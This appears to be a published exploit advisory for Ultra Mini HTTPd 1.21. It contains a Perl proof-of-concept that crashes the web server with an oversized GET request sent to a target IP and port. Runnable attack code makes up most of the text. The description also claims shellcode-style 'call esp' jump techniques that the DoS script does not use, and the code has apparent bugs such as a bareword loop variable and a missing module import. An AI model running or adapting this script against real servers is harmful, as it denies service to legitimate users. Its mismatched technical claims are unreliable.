# Exploit Title: Ultra Mini HTTPd 1.21 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 2024-01-01 # Vendor Homepage: https://acme.com/ # Software Link: https://acme.com/ # Notification vendor: Yes reported # Tested Version: Ultra Mini HTTPd 1.21 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=HWOGeg3e5As #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data via GET. #The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $buffer = "\x41"x192; my $payload = 'A' x 5438 . $buffer; my $i=0; while (i < 1) { my $socket = IO::Socket::INET->new( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp', ) or die "Can't connect!!!!! \n\n"; my $payload = "GET / $payload HTTP/1.1\r\nHost:$ip\r\n\r\n"; $socket->send($payload); close($socket); $i++; } print "[+] Exploited success!!!!!\n\n"; sub intro { print "***************************************************\n"; print "* Ultra Mini HTTPd 1.21 - Denied of Service *\n"; print "* *\n"; print "* Coded by Fernando Mengali *\n"; print "* *\n"; print "* e-mail: fernando.mengalli\@gmail.com *\n"; print "* *\n"; print "***************************************************\n"; } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated.